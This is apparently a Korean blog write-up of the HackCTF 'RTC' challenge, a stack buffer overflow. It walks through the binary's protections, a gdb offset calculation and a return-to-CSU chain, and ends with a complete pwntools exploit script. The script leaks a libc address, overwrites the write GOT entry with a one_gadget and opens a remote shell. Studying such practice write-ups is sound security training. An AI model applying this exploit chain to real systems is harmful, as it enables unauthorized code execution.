HackCTF - RTC

728x90

요약

Return To CSU를 이용하는 방법

보호기법

Canary                        : ✘ 
NX                             : ✓ 
PIE                             : ✘ 
Fortify                         : ✘ 
RelRO                         : Partial

분석

{
  undefined local_48 [64];
  
  setvbuf(stdin,(char *)0x0,2,0);
  write(1,"Hey, ROP! What\'s Up?\n",0x15);
  read(0,local_48,0x200);
  return;
}

1. local_48의 크기는 64byte

2. read 함수를 이용하여 0x200만큼 입력받음( 이부분에서 BOF 취약점이 일어나고, ROP 사용 가능)

 

gef➤  x/20gx $rsp
0x7fffffffdfa0:	0x4141414141414141	0x4242424242424242
0x7fffffffdfb0:	0x00007ffff7faff0a	0x0000000000400660
0x7fffffffdfc0:	0x0000000000000000	0x0000000000400500
0x7fffffffdfd0:	0x00007fffffffe0d0	0x0000000000000000
0x7fffffffdfe0:	0x0000000000000000	0x00007ffff7de60b3
0x7fffffffdff0:	0x0000000100000001	0x00007fffffffe0d8
0x7fffffffe000:	0x00000001f7fa7618	0x00000000004005f6
0x7fffffffe010:	0x0000000000400660	0xec22dc834cf962a2
0x7fffffffe020:	0x0000000000400500	0x00007fffffffe0d0
0x7fffffffe030:	0x0000000000000000	0x0000000000000000
gef➤  x/gx $rbp+8
0x7fffffffdfe8:	0x00007ffff7de60b3
gef➤  p/x 0x7fffffffdfe8 - 0x7fffffffdfa0
$1 = 0x48

입력받은 값과 RET과의 거리는 0x48

 

RTC를 사용하여 쉘을 얻어내려면 다음과 같은 과정으로 이루어져야한다.

1. write함수를 이용하여 아무 함수의 got를 leak

2. leak한 함수의 got 주소를 이용하여 libc의 base 주소를 leak

3. 공격에 필요한 함수의 주소를 구한다

4. leak한 후, main으로 돌아가 공격

5. 공격에는 3에서 leak한 one_gadget의 주소를 write_got에 덮어준 후, main으로 돌아간다

6. main으로 돌아가면서 write함수가 실행되고, one_gadget이 실행되는 구조

 

main으로 돌아가기 위해서는 다음과 같은 주소가 필요하다.

0x4005f6

해당 주소는 __libc_csu_init 내부에 있는 주소인데, 해당 주소를 이용하여 ret을 사용 가능하다.

0x40067b를 호출하게 되면, 쭉 내려가 JZ LAB_004006b6으로 가고, LAB_00400b6으로 점프하게 된다.

이때 스택를 정리해주기 위해 p64(0x0)*8+실행하고자 하는 주소을 넣어주게 되면 pop으로 인해 정리가 되고 원하는 함수로 실행이 가능해진다.

Exploit Code

from pwn import *
context.arch = "amd64"
#context.log_level = "debug"

p = remote('ctf.j0n9hyun.xyz', 3025)
e = ELF('./rtc')
libc = ELF('./libc.so.6')
csu_a = 0x004006a0
csu_b = 0x004006b6
csu_c = 0x40067b
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

def rtc_chain(addr, A, B, C, jo):
    payload = b''
    payload += b'A'*8
    payload += p64(0)
    payload += p64(1)
    payload += p64(addr)
    payload += p64(C)
    payload += p64(B)
    payload += p64(A)

    if(jo == 1):
        payload += p64(csu_a)
        return payload
    elif(jo == 0):
        return payload

# Stage 1
payload = b"a"*0x48
payload += p64(csu_b)
payload += rtc_chain(e.got['write'], 1, e.got['write'], 8, 1)
payload += p64(csu_c)
payload += p64(0)*6
payload += p64(0x4005f6) # main address
p.sendlineafter('Up?\n', payload)

# Leak address
leak_write = u64(p.recvuntil("\x7f")[-6:] + b"\x00\x00")
leak_base = leak_write - libc.symbols['write']
system = leak_base + libc.symbols['system']
one = leak_base + one_gadget[0]

# Stage 2
# got_write -> one_gadget -> go to main -> write func call -> one_gadget execute
log.info('Stage 2')
payload1 = b"a"*0x48
payload1 += p64(csu_b)
payload1 += rtc_chain(e.got['read'], 0, e.got['write'], 16, 1)
payload1 += p64(csu_c)
payload1 += p64(0)*6
payload1 += p64(0x4005f6) # main address
p.sendlineafter('Up?\n', payload1)

p.send(p64(one))
p.interactive()
728x90

'HackCTF' 카테고리의 다른 글

훈폰정음  (0) 2022.02.23
풍수지리설  (0) 2022.01.13
ROP  (0) 2021.12.30
You_are_silver  (0) 2021.12.30
yes_or_no  (0) 2021.12.30